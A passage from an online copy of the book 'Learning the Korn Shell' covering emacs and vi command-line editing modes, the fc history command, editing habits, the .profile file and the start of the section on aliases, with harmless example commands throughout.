ESC CTRL-]x | Search backward for x, where x is any character
ESC SPACE | Set mark at point
ESC# | Insert line in history file for future editing

[8] [CTRL-T] behaves slightly differently if you put set -o gmacs (instead of emacs) in your .profile. In this case, it will transpose the two characters to the left of point, leaving point unmoved. This is the only difference between emacs and gmacs modes; the latter conforms to the James Gosling version of the emacs editor (a.k.a. Unipress emacs). Note: neither of these behaves like [CTRL-T] in GNU emacs, which transposes the characters on either side of point.

Several of these commands may clash with terminal interface control keys on your system. [CTRL-U] is the default key for "kill line" on most versions of UNIX. BSD-derived systems use [CTRL-V] and [CTRL-W] as default settings for the "quote next character" and "word erase" terminal interface functions respectively. [CTRL-V] is particularly confusing, since it is meant to override other terminal interface control keys but has no effect on emacs-mode commands.

A few miscellaneous commands are worth discussing, even though they may not be among the most useful emacs-mode commands.

[CTRL-O] is useful for repeating a sequence of commands you have already entered. Just go back to the first command in the sequence and press [CTRL-O] instead of RETURN. This will execute the command and bring up the next command in the history file. Press [CTRL-O] again to enter this command and bring up the next one. Repeat this until you see the last command in the sequence; then just hit RETURN.

[CTRL-U], if it doesn't perform the line-delete function of your system's terminal interface, repeats the next command four times. If you type [CTRL-U] twice, the repeat factor becomes 16; for 3 [CTRL-U]s it's 64; and so on. [CTRL-U] is possibly most useful when navigating through your history file. If you want to recall a command that you entered a while ago, you could type [CTRL-U] [CTRL-P] to go back through the history file four lines at a time; you could think of this as a "fast rewind" through your command history.

Another possible use of [CTRL-U] is when you want to go from one end of a long pathname to the other. Unlike vi-mode, emacs-mode does not have a concept of "word" that is flexible enough to distinguish between pathnames and filename components. The emacs-mode word motion commands (ESC b and ESC f) will move through a pathname only one component at a time, because emacs-mode treats the slash as a word separator. You can use [CTRL-U] to help get around this limitation. If you have a line that looks like this:

$ ls -l /a/very/long/pathname/filename

and you need to go back and change "very" to "really" you can type [CTRL-U] ESC b and your cursor will end up here:

$ ls -l /a/very/long/pathname/filename

Then you can make the change:

$ ls -l /a/really/long/pathname/filename

Judicious use of [CTRL-U] can save you a few keystrokes, but considering the small amount of information you manipulate when you edit command lines, it's probably not an incredibly vital feature. Often, holding down a key to repeat it is just as effective as [CTRL-U]. Because you'll probably have to redefine the terminal driver's line erase key before you can use [CTRL-U], it's probably better to do without [CTRL-U].

The mark mentioned in the explanation of [CTRL-W] should be familiar to emacs editor users, but its function in emacs-mode is a subset of that in the full editor. Emacs-mode keeps track of the place at which the last delete was performed (whether a delete character, word, line, or whatever); this place is called the mark. If nothing has been deleted on the current line, mark defaults to the beginning of the line. You can also set the mark to where your cursor is by typing ESC SPACE. [CTRL-X] [CTRL-X] ([CTRL-X] hit twice) causes the Korn shell to swap point and mark, i.e., to move your cursor to where the mark is and reset mark to where your cursor was before you typed [CTRL-X] [CTRL-X].

The mark concept is not extremely useful because of the small amount of "distance" to travel in command lines. But if you ever have to make a series of changes in the same place in a line, [CTRL-X] [CTRL-X] will take you back there. In the previous example, if you wanted to change "really" to "monumentally", one way would be to type [CTRL-X] [CTRL-X] to return to the beginning of "really":

$ ls -l /a/really/long/pathname/filename

Then you could type ESC d to delete "really" and make the change. Of course, you could do this faster by typing ESC DEL instead of [CTRL-X] [CTRL-X] and ESC d.

Of the case-changing commands, ESC l is useful when you hit the CAPS LOCK key by accident and don't notice it immediately. Since all-caps words aren't used too often in the UNIX world, you may not use ESC c very often.

If it seems like there are too many synonyms for RETURN, bear in mind that [CTRL-M] is actually the same (ASCII) character as RETURN, and that [CTRL-J] is actually the same as LINEFEED, which UNIX usually accepts in lieu of RETURN anyway.

ESC . and ESC _ are useful if you want to run several commands on a given file. The usual UNIX convention is that a filename is the last argument to a command. Therefore you can save typing by just entering each command followed by SPACE and then typing ESC . or ESC _. For example, say you want to examine a file using more, so you type:

$ more myfilewithaverylongname

Then you decide you want to print it, so you type the print command lp. You can avoid typing the very long name by typing lp followed by a space and then ESC . or ESC _; the Korn shell will insert myfilewithaverylongname for you.

2.3.7 Keyboard Shortcuts with Aliases

Finally, emacs-mode has an interesting way of defining keyboard shortcuts for commonly used commands by interacting with the Korn shell's alias facility, as described in the next chapter. Here's how it works: if you define an alias called _x, where x is a letter, then emacs-mode will expand the alias when you hit ESC x. The expansion will appear on your screen, but the Korn shell will not run the command, leaving you free to type more or just hit RETURN to run it. We don't find this particularly useful, since you can just define an alias in the normal way instead.

Previous: 2.2 The History File | Learning the Korn Shell | Next: 2.4 Vi Editing Mode
2.2 The History File | Book Index | 2.4 Vi Editing Mode
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.4 Vi Editing Mode

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 2.3 Emacs Editing Mode Chapter 2
Command-line Editing 		Next: 2.5 The fc Command

2.4 Vi Editing Mode

Like emacs-mode, vi-mode essentially creates a one-line editing window into the history file. Vi-mode is popular because vi is the most standard UNIX editor. But the function for which vi was designed, writing C programs, has different editing requirements from those of command interpreters. As a result, although it is possible to do complex things in vi with relatively few keystrokes, the relatively simple things you need to do in the Korn shell sometimes take too many keystrokes.

Like vi, vi-mode has two modes of its own: input and control mode. The former is for typing commands (as in normal Korn shell use); the latter is for moving around the command line and the history file. When you are in input mode, you can type commands in and hit RETURN to run them. In addition, you have minimal editing capabilities via control characters, which are summarized in Table 2.6.

Table 2.6: Editing Commands in vi Input Mode
Command | Description
DEL | Delete previous character
[CTRL-W] | Erase previous word (i.e., erase until blank)
[CTRL-V] | "Quote" the next character
ESC | Enter control mode (see below)

Note that at least some of these-depending on which version of UNIX you have-are the same as the editing commands provided by UNIX through its terminal interface. [9] Vi-mode will use your "erase" character as the "delete previous character" key; usually it is set to DEL or [CTRL-H] (BACKSPACE). [CTRL-V] will cause the next character you type to appear in the command line as is; i.e., if it is an editing command (or an otherwise special character like [CTRL-D]), it will be stripped of its special meaning.

[9] In particular, versions of UNIX derived from 4.x BSD have all of these commands built in.

Under normal circumstances, you just stay in input mode. But if you want to go back and make changes to your command line, or if you want to recall previous commands, you need to go into control mode. To do this, hit ESC.

2.4.1 Simple Control Mode Commands

A full range of vi editing commands are available to you in control mode. The simplest of these move you around the command line and are summarized in Table 2.7. Vi-mode contains two "word" concepts. The simplest is any sequence of non-blank characters; we'll call this a non-blank word. The other is any sequence of only alphanumeric characters (letters and digits) or any sequence of only non-alphanumeric characters; we'll just call this a word. [10]

[10] Neither of these definitions is the same as the definition of a word in emacs-mode.

Table 2.7: Basic vi Control Mode Commands
Command | Description
h | Move left one character
l | Move right one character
w | Move right one word
b | Move left one word
W | Move to beginning of next non-blank word
B | Move to beginning of preceding non-blank word
e | Move to end of current word
E | Move to end of current non-blank word
0 | Move to beginning of line
^ | Move to first non-blank character in line
$ | Move to end of line

All of these commands except the last three can be preceded by a number that acts as a repeat count. The last two will be familiar to users of UNIX utilities (such as grep) that use regular expressions, as well as to vi users.

Time for a few examples. Let's say you type in this line and, before you hit RETURN, decide you want to change it:

$ fgrep -l Bob < ~pete/wk/names

As shown, your cursor is beyond the last character of the line. First, type ESC to enter control mode; your cursor will move back one space so that it is on the s. Then if you type h, your cursor will move back to the e. If you type 3h from the e, you will end up at the n.

Now we will see the difference between the two "word" concepts. Go back to the end of the line by typing $. If you type b, the word in question is "names", and the cursor will end up on the n:

$ fgrep -l Bob < ~pete/wk/names

If you type b again, the next word is the slash (it's a "sequence" of non-alphanumeric characters), so the cursor ends up over it:

$ fgrep -l Bob < ~pete/wk/names

However, if you typed B instead of b, the non-blank word would be the entire pathname, and the cursor would end up at the beginning of it-that is, over the tilde:

$ fgrep -l Bob < ~pete/wk/names

You would have had to type b four times-or just 4b-to get the same effect, since there are four "words" in the part of the pathname to the left of /names: wk, slash, pete, and the leading tilde.

At this point, w and W do the opposite: typing w gets you over the p, since the tilde is a "word", while typing W brings you to the end of the line. But whereas w and W take you to the beginning of the next word, e and E take you to the end of the current word. Thus, if you type w with the cursor on the tilde, you get to:

$ fgrep -l Bob < ~pete/wk/names

Then typing e gets you to

$ fgrep -l Bob < ~pete/wk/names

And typing an additional w gets you to:

$ fgrep -l Bob < ~pete/wk/names

On the other hand, E gets you to the end of the current non-blank word-in this case, the end of the line. (If you find these commands non-mnemonic, you're right. The only way to assimilate them is through lots of practice.)

2.4.2 Entering and Changing Text

Now that you know how to enter control mode and move around on the command line, you need to know how to get back into input mode so you can make changes and type in additional commands. A number of commands take you from control mode into input mode; they are listed in Table 2.8 All of them enter input mode a bit differently.

Table 2.8: Commands for Entering vi Input Mode
Command | Description
i | Text inserted before current character (insert)
a | Text inserted after current character (append)
I | Text inserted at beginning of line
A | Text inserted at end of line
R | Text overwrites existing text

Most likely, you will use either i or a consistently, and you may use R occasionally. I and A are abbreviations for 0i and $a respectively. To illustrate the difference between i, a, and R, say we start out with our example line:

$ fgrep -l Bob < ~pete/wk/names

If you type i followed by end, you will get:

$ fgrep -l Bob < ~pete/wkend/names

That is, the cursor will always appear to be under the / before names. But if you type a instead of i, you will notice the cursor move one space to the right. Then if you type nick, you will get:

$ fgrep -l Bob < ~pete/wk/nicknames

That is, the cursor will always be just after the last character you typed, until you type ESC to end your input. Finally, if you go back to the n in names, type R instead, and then type task, you will see:

$ fgrep -l Bob < ~pete/wk/tasks

In other words, you will be replacing (hence R) instead of inserting text.

Why capital R instead of lowercase r? The latter is a slightly different command, which replaces only one character and does not enter input mode. With r, the next single character overwrites the character under the cursor. So if we start with the original command line and type r followed by a semicolon, we get:

$ fgrep -l Bob < ~pete/wk;names

If you precede r with a number N, it will allow you to replace the next N existing characters on the line-but still not enter input mode. Lowercase r is effective for fixing erroneous option letters, I/O redirection characters, punctuation, etc.

2.4.3 Deletion Commands

Now that you know how to enter commands and move around the line, you need to know how to delete. The basic deletion command in vi-mode is d followed by one other letter. This letter determines what the unit and direction of deletion is, and it corresponds to a motion command, as listed previously in Table 2.7. Table 2.9 shows some commonly-used examples.

Table 2.9: Some vi-mode Deletion Commands
Command | Description
dh | Delete one character backwards
dl | Delete one character forwards
db | Delete one word backwards
dw | Delete one word forwards
dB | Delete one non-blank word backwards
dW | Delete one non-blank word forwards
d$ | Delete to end of line
d0 | Delete to beginning of line

These commands have a few variations and abbreviations. If you use a c instead of d, you will enter input mode after it does the deletion. You can supply a numeric repeat count either before or after the d (or c). Table 2.10 lists the available abbreviations.

Most people tend to use D to delete to end of line, dd to delete an entire line, and x (as "backspace") to delete single characters. If you aren't a hardcore vi user, you may find it difficult to get some of the more esoteric deletion commands under your fingers.

Table 2.10: Abbreviations for vi-mode Delete Commands
Command | Description
D | Equivalent to d$ (delete to end of line)
dd | Equivalent to 0d$ (delete entire line)
C | Equivalent to c$ (delete to end of line, enter input mode)
cc | Equivalent to 0c$ (delete entire line, enter input mode)
X | Equivalent to dh (delete character backwards)
x | Equivalent to dl (delete character forwards)

Every good editor provides "un-delete" commands as well as delete commands, and vi-mode is no exception. Vi-mode maintains a delete buffer that stores all of the modifications to text on the current line only (note that this is different from the full vi editor). The command u undoes the last text modification command only, while U undoes all such commands on the current line. So if you make one change but want to undo it, type u; but if you make lots of changes and find that the original is closer to what you want, you can undo everything by typing U. A related command is . (dot), which redoes the last text modification command.

There is also a way to save text in the delete buffer without having deleted it in the first place: just type in a delete command but use y ("yank") instead of d. This does not modify anything, but it allows you to retrieve the yanked text as many times as you like later on. The command to retrieve yanked text is p, which inserts the text on the current line to the left of the cursor. The y and p commands are powerful but far better suited to "real vi" tasks like making global changes to documents or programs than to shell commands, so we doubt you'll use them very often.

2.4.4 Moving Around in the History File

The next group of vi control mode commands we will cover allows you to move around in and search your history file. This is the all-important functionality that lets you go back and fix an erroneous command without retyping the entire line. These commands are summarized in Table 2.11.

Table 2.11: Vi Control Mode Commands for Searching the History File
Command | Description
k or - | Move backward one line
j or + | Move forward one line
G | Move to line given by repeat count
?string | Search backward for string
/string | Search forward for string
n | Repeat search in same direction as previous
N | Repeat search in opposite direction of previous

The first three can be preceded by repeat counts (e.g., 3k or 3- moves back three lines in the history file).

If you aren't familiar with vi and its cultural history, you may be wondering at the wisdom of choosing such seemingly poor mnemonics as h, j, k, and l for backward character, forward line, backward line, and forward character, respectively. Well, there actually is a rationale for the choices-other than that they are all together on the standard keyboard.

Bill Joy originally developed vi to run on Lear-Siegler ADM-3a terminals, which were the first popular models with addressable cursors (meaning that a program could send an ADM-3a a command to move the cursor to a specified location on the screen). The ADM-3a's h, j, k, and l keys had little arrows on them, so Joy decided to use those keys for appropriate commands in vi.

Another (partial) rationale for the command choices is that [CTRL-H] is the traditional backspace key, and [CTRL-J] denotes linefeed.

Perhaps + and - are better mnemonics than j and k, but the latter have the advantage of being more easily accessible to touch typists. In either case, these commands are the most basic ones for moving around the history file. To see how they work, let's take the same examples we used when discussing emacs-mode above.

You enter the example command (RETURN works in both input and control modes, as does LINEFEED or [CTRL-J]):

$ fgrep -l Bob < ~pete/wk/names

but you get an error message saying that your option letter was wrong. You want to change it to -s without having to retype the entire command. Assuming you are in control mode (you may have to type ESC to put yourself in control mode), you type k or - to get the command back. Your cursor will be at the beginning of the line:

$ fgrep -l Bob < ~pete/wk/names

Type w to get to the -, then l to get to the l. Now you can replace it by typing rs; press RETURN to run the command.

Now let's say you get another error message, and you finally decide to look at the manual page for the fgrep command. You remember having done this a while ago today, so rather than typing in the entire man(1) command, you search for the last one you used. To do this, type ESC to enter control mode (if you are already in control mode, this will have no effect), then type / followed by man or ma. To be on the safe side, you can also type ^ma; the ^ means match only lines that begin with ma. [11]

[11] Fans of vi and search utilities like grep should note that caret (^) for beginning-of-line is the only context operator vi-mode provides for search strings.

But typing /^ma doesn't give you what you want: instead, the shell gives you:

$ make myprogram

To search for "man" again, you can type n, which does another backward search using the last search string. Typing / again without an argument and hitting RETURN will accomplish the same thing.

The G command retrieves the command whose number is the same as the numeric prefix argument you supply. G depends on the command numbering scheme described in Chapter 3 in the section "Prompting Variables." Without a prefix argument, it goes to command number 1. This may be useful to former C shell users who still want to use command numbers.

2.4.5 Character-finding Commands

There are some additional motion commands in vi-mode, although they are less useful than the ones we saw earlier in the chapter. These commands allow you to move to the position of a particular character in the line. They are summarized in Table 2.12, in which x denotes any character.

All of these commands can be preceded by a repeat count.

Table 2.12: Vi-mode Character-finding Commands
Command | Description
fx | Move right to next occurrence of x
Fx | Move left to previous occurrence of x
tx | Move right to next occurrence of x, then back one space
Tx | Move left to previous occurrence of x, then forward one space
; | Redo last character-finding command
, | Redo last character-finding command in opposite direction

Starting with the previous example: let's say you want to change Bob to Rob. Make sure that you're at the end of the line (or, in any case, to the left of the B in Bob); then, if you type FB, your cursor will move to the B:

$ fgrep -l Bob < ~pete/wk/names

At this point, you could type r to replace the B with R. But let's say you wanted to change Bob to Blob. You would need to move one space to the right of the B. Of course, you could just type l. But, given that you're somewhere to the right of Bob, the fastest way to move to the o would be to type TB instead of FB followed by l.

As an example of how the repeat count can be used with character-finding commands, let's say you want to change the filename from names to namfile. In this case, assuming your cursor is still on the B, you need to get to the third e to the right, so you can type 3te, followed by l to put the cursor back on the e in names.

The character-finding commands also have associated delete commands. Read the command definitions in the previous table and mentally substitute "delete" for move. You'll get what happens when you precede the given character-finding command with a d. The deletion includes the character given as argument. For example, assume that your cursor is under the n in names:

$ fgrep -l Bob < ~pete/wk/names

If you want to change names to aides, one possibility is to type dfm. This means "delete right to next occurrence of m," i.e., delete "nam." Then you can type i (to enter input mode) and then "aid" to complete the change.

One final command rounds out the vi control mode commands for getting around on the current line: you can use the pipe character (|) for moving to a specific column, whose number is given by a numeric prefix argument. Column counts start at 1; count only your input, not the space taken up by the prompt string. The default repeat count is 1, of course, which means that typing | by itself is equivalent to 0 (see Table 2.7).

2.4.6 Filename Completion

Although the character-finding commands and | are not particularly useful, vi-mode provides one additional feature that we think you will use quite often: filename completion. This feature is not part of the real vi editor, and it was undoubtedly inspired by similar features in emacs and, originally, in the TOPS-20 operating system for DEC mainframes.

The rationale behind filename completion is simple: you should have to type only as much of a filename as is necessary to distinguish it from other filenames in the same directory. Backslash (\) is the command that tells the Korn shell to do filename completion in vi-mode. If you type in a word, type ESC to enter control mode, and then type \, one of four things will happen; they are the same as for ESC ESC in emacs-mode:

  1. If there is no file whose name begins with the word, the shell will beep and nothing further will happen.

  2. If there is exactly one way to complete the filename and the file is a regular file, the shell will type the rest of the filename, followed by a space in case you want to type in more command arguments.

  3. If there is exactly one way to complete the filename and the file is a directory, the shell will complete the filename, followed by a slash.

  4. If there is more than one way to complete the filename, the shell will complete out to the longest common prefix among the available choices.

A related command is *, which is the same as ESC * in emacs-mode as described earlier in this chapter. [12] It behaves similarly to ESC \, but if there is more than one completion possibility (number four in the list above), it lists all of them and allows you to type further. Thus, it resembles the * shell wildcard character.

[12] If you count the ESC needed to get out of input mode, the vi-mode command is identical to emacs-mode.

Less useful is the command =, which does the same kind of filename expansion as the * shell wildcard, but in a different way. Instead of expanding the filenames onto the command line, it prints them in a numbered list with one filename on each line. Then it gives you your shell prompt back and retypes whatever was on your command line before you typed =. For example, if the files in your directory include program.c and problem.c, and you type pro followed by ESC and then =, you will see this:

$ cc pro
1) problem.c
2) program.c

2.4.7 Miscellaneous Commands

Several miscellaneous commands round out vi-mode; some of them are quite esoteric. They are listed in Table 2.13.

Table 2.13: Miscellaneous vi-mode Commands
Command | Description
~ | Invert ("twiddle") case of current character(s).
_ | Append last word of previous command, enter input mode.
v | Run the fc command on the current line (actually, run the command fc -e ${VISUAL:-${EDITOR:-vi}}); usually this means run the full vi on the current line.
CTRL-L | Start a new line and redraw the current line on it; good for when your screen becomes garbled.
# | Prepend # (comment character) to the line and send it to the history file;[13] useful for saving a command to be executed later without having to retype it.
@x | Insert expansion of alias _x (see below).

[13] The line is also "executed" by the shell. However, # is the shell's comment character, so the shell ignores it.

The first of these can be preceded by a repeat count. A repeat count of n preceding the ~ changes the case of the next n characters. [14] The cursor will advance accordingly.

[14] This, in our opinion, is a design flaw in the vi editor that the Korn shell authors might have corrected. Letting the user append a motion command to ~ and having it behave analogously to d or y would have been much more useful; that way, a word could be case-twiddled with only two keystrokes.

A repeat count preceding _ causes the n-th word in the previous command to be inserted in the current line; without the count, the last word is used. Omitting the repeat count is useful because a filename is usually the last thing on a UNIX command line, and because users often run several commands in a row on the same file. With this feature, you can type all of the commands (except the first) followed by ESC _, and the shell will insert the filename.

Finally, the command @ allows you to create keyboard shortcuts by interacting with the shell's alias facility (see Chapter 3). If you create an alias called _x, where x is a letter, then the shell will expand the alias on the current line (but not run it) if you type @ followed by x. As with the similar facility in emacs-mode, we don't find this particularly useful.

Previous: 2.3 Emacs Editing Mode | Learning the Korn Shell | Next: 2.5 The fc Command
2.3 Emacs Editing Mode | Book Index | 2.5 The fc Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.5 The fc Command

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 2.4 Vi Editing Mode Chapter 2
Command-line Editing 		Next: 2.6 Finger Habits

2.5 The fc Command

fc is a shell built-in command that provides a superset of the C shell history mechanism. You can use it to examine the most recent commands you entered, to edit one or more commands with your favorite "real" editor, and to run old commands with changes without having to type the entire command in again. We'll look at each of these uses.

The -l option to fc lists previous commands. It takes arguments that refer to commands in the history file. Arguments can be numbers or alphanumeric strings; numbers refer to the commands in the history file, while strings refer to the most recent command beginning with the string. fc treats arguments in a rather complex way:

  • If you give two arguments, they serve as the first and last commands to be shown.

  • If you specify one number argument, only the command with that number is shown.

  • With a single string argument, it searches for the most recent command starting with that string and shows you everything from that command to the most recent command.

  • If you specify no arguments, you will see the last 16 commands you entered. Thus, fc -l by itself is equivalent to the C shell history command, and indeed the Korn shell defines a built-in alias history as:

    alias history=fc -l

    As you will find out in Chapter 3, this means that you can type history and the Korn shell will run the command fc -l.

A few examples should make these options clearer. Let's say you logged in and entered these commands:

ls -l
more myfile
vi myfile
wc -l myfile
pr myfile | lp -h

If you type fc -l (or history) with no arguments, you will see the above list with command numbers, as in:

1	ls -l
2	more myfile
3	vi myfile
4	wc -l myfile
5	pr myfile | lp -h

The option -n suppresses the line numbers. If you want to see only commands 2 through 4, type fc -l 2 4. If you want to see only the vi command, type fc -l 3. To see everything from the vi command up to the present, type fc -l v. Finally, if you want to see commands between more and wc, you can type fc -l m w, fc -l m 4, fc -l 2 4, etc.

The -l option to fc is not particularly useful, except as a quick way of remembering what commands you typed recently. Use the history alias if you are an experienced C shell user.

The other important option to fc is -e for "edit." This is useful as an "escape hatch" from vi- and emacs-modes if you aren't used to either of those editors. You can specify the pathname of your favorite editor and edit commands from your history file; then when you have made the changes, the shell will actually execute the new lines.

Let's say your favorite editor is a little home-brew gem called zed. You could edit your commands by typing:

$ fc -e /usr/local/bin/zed

This seems like a lot of work just to fix a typo in your previous command; fortunately, there is a better way. You can set the environment variable FCEDIT to the pathname of the editor you want fc to use. If you put a line in your .profile or environment file saying:

FCEDIT=/usr/local/bin/zed

you will get zed when you invoke fc. FCEDIT defaults to the old line editor ed, so that the overall default is also ed.

fc is usually used to fix a recent command. Therefore it handles arguments a bit differently than it does for the fc -l variation above:

  • With no arguments, fc loads the editor with the most recent command.

  • With a numeric argument, fc loads the editor with the command with that number.

  • With a string argument, fc loads the most recent command starting with that string.

  • With two arguments to fc, the arguments specify the beginning and end of a range of commands, as above.

Remember that fc actually runs the command(s) after you edit them. Therefore the last-named choice can be dangerous. The Korn shell will attempt to execute all commands in the range you specify when you exit your editor. If you have typed in any multiline constructs (like those we will cover in Chapter 5, Flow Control) the results could be even more dangerous. Although these might seem like valid ways of generating "instant shell programs," a far better strategy would be to direct the output of fc -l with the same arguments to a file; then edit that file and execute the commands when you're satisfied with them:

$ fc -l cp > lastcommands
$ vi lastcommands
$ . lastcommands

In this case, the shell will not try to execute the file when you leave the editor!

There is one final use for fc. If you specify the editor - (i.e., type fc -e -), the Korn shell will skip the editing part and just run the command(s) specified by the argument(s). Why is this useful? For one thing, just typing fc -e - causes the previous command to repeat, just like the C shell !! command. The Korn shell provides the built-in alias r for this, so that if you type r and hit RETURN, you will repeat the last command.

This form of fc allows yet another type of argument, of the form old=new, meaning "change occurrences of old in the specified previous command to new and then run it." For example, if you wanted to run a complex command like the following on two sets of files:

$ tbl ch2.tbl | nroff -mS -Tepson > ch2.out

you can enter the command and then type fc -e - 2=3. (You could also use the alias, r 2=3.) This command would then run:

tbl ch3.tbl | nroff -mS -Tepson > ch3.out

Previous: 2.4 Vi Editing Mode | Learning the Korn Shell | Next: 2.6 Finger Habits
2.4 Vi Editing Mode | Book Index | 2.6 Finger Habits
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.6 Finger Habits

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 2.5 The fc Command Chapter 2
Command-line Editing 		Next: 3. Customizing Your Environment

2.6 Finger Habits

To paraphrase the old adage, old finger habits die hard. In fact, that is the primary reason for the choices of vi and emacs for the Korn shell's editing modes. If you are an experienced user of one of these editors, by all means use the corresponding Korn shell editing mode. If you are a vi wizard, you probably know how to navigate between any two points on a line in three keystrokes or less.

But if you're not, you should seriously consider adopting emacs-mode finger habits. Because it is based on control keys, just like the minimal editing support you may have already used with the Bourne or C shell, you will find emacs-mode easier to assimilate. Although the full emacs is an extremely powerful editor, its command structure lends itself very well to small subsetting: there are several "mini-emacs" style editors floating around for UNIX, MS-DOS, and other systems.

The same cannot be said for vi, because its command structure is really meant for use in a full-screen editor. vi is quite powerful too, in its way, but its power becomes evident only when it is used for purposes similar to that for which it was designed: editing source code in C and LISP. A vi user has the power to move mountains in few keystrokes-but at the cost of doing anything meaningful in very few keystrokes. Unfortunately, the latter is most desired in a command interpreter, especially nowadays when users are spending more time within applications and less time working with the shell.

Both Korn shell editing modes have quite a few commands; you will undoubtedly develop finger habits that include just a few of them. If you use emacs-mode and you aren't familiar with the full emacs, here is a subset that is easy to learn yet enables you to do just about anything:

  • For cursor motion around a command line, stick to [CTRL-A] and [CTRL-E] for beginning and end of line, and [CTRL-F] and [CTRL-B] for moving around.

  • Delete using DEL (or whatever your "erase" key is) and [CTRL-D]; as with [CTRL-F] and [CTRL-B], hold down to repeat if necessary. Use [CTRL-C] to erase the entire line.

  • Use [CTRL-P] to retrieve the last command when you make a mistake.

  • Use [CTRL-R] to search for a command you need to run again.

  • Definitely use ESC ESC for filename completion.

After a few hours spent learning these finger habits, you will wonder how you ever got along without command-line editing.

Previous: 2.5 The fc Command | Learning the Korn Shell | Next: 3. Customizing Your Environment
2.5 The fc Command | Book Index | 3. Customizing Your Environment
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] Customizing Your Environment

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 2.6 Finger Habits Chapter 3 Next: 3.2 Aliases

3. Customizing Your Environment

Contents:
The .profile File
Aliases
Options
Shell Variables
Customization and Subprocesses
Customization Hints

A common synonym for a UNIX shell, or for the interface any computer program presents, is an environment. An environment is typically a collection of concepts that expresses the things a computer does in terms designed to be understandable and coherent, and a look and feel that is comfortable.

For example, your desk at work is an environment. Concepts involved in desk work usually include memos, phone calls, letters, forms, etc. The tools on or in your desk that you use to deal with these things include paper, staples, envelopes, pens, a telephone, a calculator, etc. Every one of these has a set of characteristics that express how you use it; such characteristics range from location on your desk or in a drawer (for simple tools) to more sophisticated things like which numbers the memory buttons on your phone are set to. Taken together, these characteristics make up your desk's look and feel.

You customize the look and feel of your desk environment by putting pens where you can most easily reach them, programming your phone buttons, etc. In general, the more customization you have done, the more tailored to your personal needs-and therefore the more productive-your environment is.

Similarly, UNIX shells present you with such concepts as files, directories, and standard input and output, while UNIX itself gives you tools to work with these, such as file manipulation commands, text editors, and print queues. Your UNIX environment's look and feel is determined by your keyboard and display, of course, but also by how you set up your directories, where you put each kind of file, and what names you give to files, directories, and commands. There are also more sophisticated ways of customizing your shell environment.

The most basic means of customization that the Korn shell provides are these:

Aliases

Synonyms for commands or command strings that you can define for convenience.

Options

Controls for various aspects of your environment, which you can turn on and off.

Variables

Place-holders for information that tell the shell and other programs how to behave under various circumstances.

There are also more complex ways to customize your environment, mainly the ability to program the shell, which we will see in later chapters. In this chapter, we will cover the techniques listed above.

While most of the customizations obtainable with the above techniques are straightforward and apply to everyday UNIX use, others are rather arcane and require in-depth technical knowledge to understand. Most of this chapter will concentrate on the former. Because we want to explain things from the perspective of tasks you may want to perform, rather than that of the specific features of the Korn shell, a few little details may fall through the cracks (such as miscellaneous options to certain commands). We suggest you look in Appendix B, Reference Lists for this type of information.

3.1 The .profile File

If you want to customize your environment, it is most important to know about a file called .profile in your home (login) directory. This is a file of shell commands, also called a shell script, that the Korn shell reads and runs whenever you log in to your system.

If you use a large machine in an office or department, the odds are good that your system administrator has already set up a .profile file for you that contains a few standard things. This is one of the "hidden" files mentioned in Chapter 1, Korn Shell Basics; other common hidden files include .X11Startup (for the X Window System), .emacs (for the GNU Emacs editor), and .mailrc (for the UNIX mail program).

Your .profile, together with the environment file that we will see towards the end of this chapter, will be the source of practically all of the customizations we will discuss here as well as in subsequent chapters. Therefore it is very important for you to become comfortable with a text editor like vi or emacs so that you can try whatever customization techniques strike your fancy.

Bear in mind, however, that if you add commands to your .profile, they will not take effect until you log out and log back in again, or type the command login. [1] Of course, you need not immediately add customization commands to your .profile-you can always just test them by typing them in yourself.

[1] This has the same effect as logging out and logging in again, although it actually replaces your login session with a new one without explicitly terminating the old session.

If you already have a .profile, it's likely to contain lines similar to some of these:

PATH=/sbin:/usr/sbin:/usr/bin:/etc:/usr/ucb:/local/bin:
stty stop ^S intr ^C erase ^?
EDITOR=/usr/local/bin/emacs
SHELL=/bin/ksh
export EDITOR

These commands set up a basic environment for you, so you probably shouldn't change them until you learn about what they do-which you will by the end of this chapter. When you edit your .profile, just put your additional lines in afterwards.

Previous: 2.6 Finger Habits | Learning the Korn Shell | Next: 3.2 Aliases
2.6 Finger Habits | Book Index | 3.2 Aliases
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.2 Aliases

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 3.1 The .profile File Chapter 3
Customizing Your Environment 		Next: 3.3 Options

3.2 Aliases

Perhaps the easiest and most popular type of customization is the alias, which is a synonym for a command or command string. This is one of several Korn shell features that were appropriated from the C shell. [2] You define an alias by entering (or adding to your .profile) a line with the following form:

[2] C shell users should note that the Korn shell's alias feature does not support arguments in alias expansions, as C shell aliases do.

alias new=original

(Notice that there are no spaces on either side of the equal sign (=); this is required syntax.) The alias command defines new to be an alias for original, so that whenever you type new, the Korn shell substitutes original internally.

There are a few basic ways to use an alias. The first, and simplest, is as a more mnemonic name for an existing command. Many commonly-used UNIX commands have names that are poor mnemonics and therefore are excellent candidates for aliasing, but the classic example is:

alias search=grep

grep, the UNIX file-searching utility, was named as an acronym for something like "Generalized Regular Expression Parser." [3] This acronym may mean something to a computer scientist, but not to the office administrator who has to find Fred in a list of phone numbers. If you have to find Fred and you have the word search defined as an alias for grep, you can type:

[3] Another theory has it that grep stands for the command "g/re/p", in the old ed text editor, which does essentially the same thing as grep.

$ search Fred phonelist

Another popular alias eschews exit in favor of a more widely-used command for ending a login session:

alias logout=exit

